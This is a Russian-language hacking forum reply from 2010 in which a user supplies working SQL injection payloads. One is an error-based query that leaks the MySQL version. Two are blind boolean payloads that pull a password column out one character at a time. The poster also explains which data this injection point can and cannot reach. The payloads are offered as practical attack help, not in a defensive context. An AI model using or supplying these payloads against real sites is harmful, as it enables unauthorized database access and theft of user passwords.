Показать сообщение отдельно

  #4  
Старый 02.10.2010, 03:10
Redwood
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
С нами: 8772211

Репутация: 56
По умолчанию

Верный запрос:

Код:
1'+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1 -- a
Но не в этом суть. В любом случае, не используя подзапросы, кроме как узнать версию и читать файлы на сервере, ничего сделать нельзя, так что, в данном случае, смысла в этом методе я не вижу.

Все поля из таблиц вытащить не удастся. Вытащить можно только те поля, которые участвуют в запросе, так как нельзя использовать объединение запросов через union.

Все что можно сделать это:

Код:
1'+and+ascii(substring(password,1,1))>66 -- a
Код:
1'+and+substring(password,1,1)='f' -- a
По тому куску кода, что ты выложил, что и как фильтруется сказать нельзя.
 
Ответить с цитированием